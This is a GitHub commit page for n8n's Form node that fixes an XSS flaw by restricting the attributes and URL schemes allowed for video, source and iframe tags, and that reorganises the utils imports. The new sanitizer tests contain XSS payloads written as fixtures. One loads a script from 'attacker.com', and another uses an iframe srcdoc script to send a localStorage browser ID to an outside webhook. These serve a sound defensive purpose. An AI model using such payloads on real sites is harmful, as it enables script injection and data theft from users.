Skip to content

Commit 7940384

Browse files
dana-gilltomi
authored andcommitted
fix(n8n Form Node): Prevent XSS with video and source tags (#16329)
1 parent 84a5cc6 commit 7940384

File tree

11 files changed

+55
-18
lines changed

11 files changed

+55
-18
lines changed

packages/nodes-base/nodes/Form/Form.node.ts

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,12 +19,12 @@ import {
1919
} from 'n8n-workflow';
2020

2121
import { cssVariables } from './cssVariables';
22-
import { renderFormCompletion } from './formCompletionUtils';
23-
import { renderFormNode } from './formNodeUtils';
22+
import { renderFormCompletion } from './utils/formCompletionUtils';
23+
import { renderFormNode } from './utils/formNodeUtils';
24+
import { prepareFormReturnItem, resolveRawData } from './utils/utils';
2425
import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util';
2526
import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions';
2627
import { formDescription, formFields, formTitle } from '../Form/common.descriptions';
27-
import { prepareFormReturnItem, resolveRawData } from '../Form/utils';
2828

2929
const waitTimeProperties: INodeProperties[] = [
3030
{

packages/nodes-base/nodes/Form/test/formCompletionUtils.test.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ import { type Response } from 'express';
22
import { type MockProxy, mock } from 'jest-mock-extended';
33
import { type INode, type IWebhookFunctions } from 'n8n-workflow';
44

5-
import { binaryResponse, renderFormCompletion } from '../formCompletionUtils';
5+
import { binaryResponse, renderFormCompletion } from '../utils/formCompletionUtils';
66

77
describe('formCompletionUtils', () => {
88
let mockWebhookFunctions: MockProxy<IWebhookFunctions>;

packages/nodes-base/nodes/Form/test/formNodeUtils.test.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ import {
77
type NodeTypeAndVersion,
88
} from 'n8n-workflow';
99

10-
import { renderFormNode } from '../formNodeUtils';
10+
import { renderFormNode } from '../utils/formNodeUtils';
1111

1212
describe('formNodeUtils', () => {
1313
let webhookFunctions: MockProxy<IWebhookFunctions>;

packages/nodes-base/nodes/Form/test/utils.test.ts

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ import {
2222
validateResponseModeConfiguration,
2323
prepareFormFields,
2424
addFormResponseDataToReturnItem,
25-
} from '../utils';
25+
} from '../utils/utils';
2626

2727
describe('FormTrigger, parseFormDescription', () => {
2828
it('should remove HTML tags and truncate to 150 characters', () => {
@@ -64,6 +64,25 @@ describe('FormTrigger, sanitizeHtml', () => {
6464
html: '<input type="text" value="test">',
6565
expected: '',
6666
},
67+
{
68+
html: '<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4">Your browser does not support the video tag.</video>',
69+
expected:
70+
'<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4"></source>Your browser does not support the video tag.</video>',
71+
},
72+
{
73+
html: '<video controls width="640" height="360" onclick="alert(\'XSS\')" style="border:10px solid red;"><source src="javascript:alert(\'XSS\')" type="video/mp4">Fallback text</video>',
74+
expected:
75+
'<video controls width="640" height="360"><source type="video/mp4"></source>Fallback text</video>',
76+
},
77+
{
78+
html: "<video><source onerror=\"s=document.createElement('script');s.src='http://attacker.com/evil.js';document.body.appendChild(s);\">",
79+
expected: '<video><source></source></video>',
80+
},
81+
{
82+
html: "<iframe srcdoc=\"<script>fetch('https://YOURDOMAIN.app.n8n.cloud/webhook/pepe?id='+localStorage.getItem('n8n-browserId'))</script>\"></iframe>",
83+
expected:
84+
'<iframe referrerpolicy="strict-origin-when-cross-origin" allow="fullscreen; autoplay; encrypted-media"></iframe>',
85+
},
6786
];
6887

6988
givenHtml.forEach(({ html, expected }) => {

packages/nodes-base/nodes/Form/utils.ts renamed to packages/nodes-base/nodes/Form/utils/utils.ts

Lines changed: 22 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,11 @@ import {
1818
} from 'n8n-workflow';
1919
import sanitize from 'sanitize-html';
2020

21-
import type { FormTriggerData, FormTriggerInput } from './interfaces';
22-
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from './interfaces';
23-
import { getResolvables } from '../../utils/utilities';
24-
import { WebhookAuthorizationError } from '../Webhook/error';
25-
import { validateWebhookAuthentication } from '../Webhook/utils';
21+
import { getResolvables } from '../../../utils/utilities';
22+
import { WebhookAuthorizationError } from '../../Webhook/error';
23+
import { validateWebhookAuthentication } from '../../Webhook/utils';
24+
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
25+
import type { FormTriggerData, FormTriggerInput } from '../interfaces';
2626

2727
export function sanitizeHtml(text: string) {
2828
return sanitize(text, {
@@ -58,10 +58,24 @@ export function sanitizeHtml(text: string) {
5858
allowedAttributes: {
5959
a: ['href', 'target', 'rel'],
6060
img: ['src', 'alt', 'width', 'height'],
61-
video: ['*'],
62-
iframe: ['*'],
63-
source: ['*'],
61+
video: ['controls', 'autoplay', 'loop', 'muted', 'poster', 'width', 'height'],
62+
iframe: [
63+
'src',
64+
'width',
65+
'height',
66+
'frameborder',
67+
'allow',
68+
'allowfullscreen',
69+
'referrerpolicy',
70+
],
71+
source: ['src', 'type'],
6472
},
73+
allowedSchemes: ['https', 'http'],
74+
allowedSchemesByTag: {
75+
source: ['https', 'http'],
76+
iframe: ['https', 'http'],
77+
},
78+
allowProtocolRelative: false,
6579
transformTags: {
6680
iframe: sanitize.simpleTransform('iframe', {
6781
sandbox: '',

packages/nodes-base/nodes/Form/v1/FormTriggerV1.node.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ import {
1515
formTriggerPanel,
1616
webhookPath,
1717
} from '../common.descriptions';
18-
import { formWebhook } from '../utils';
18+
import { formWebhook } from '../utils/utils';
1919

2020
const descriptionV1: INodeTypeDescription = {
2121
displayName: 'n8n Form Trigger',

packages/nodes-base/nodes/Form/v2/FormTriggerV2.node.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ import {
2121
} from '../common.descriptions';
2222
import { cssVariables } from '../cssVariables';
2323
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
24-
import { formWebhook } from '../utils';
24+
import { formWebhook } from '../utils/utils';
2525

2626
const useWorkflowTimezone: INodeProperties = {
2727
displayName: 'Use Workflow Timezone',

packages/nodes-base/nodes/Wait/Wait.node.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ import {
2323
formTitle,
2424
appendAttributionToForm,
2525
} from '../Form/common.descriptions';
26-
import { formWebhook } from '../Form/utils';
26+
import { formWebhook } from '../Form/utils/utils';
2727
import {
2828
authenticationProperty,
2929
credentialsProperty,

0 commit comments

Comments
 (0)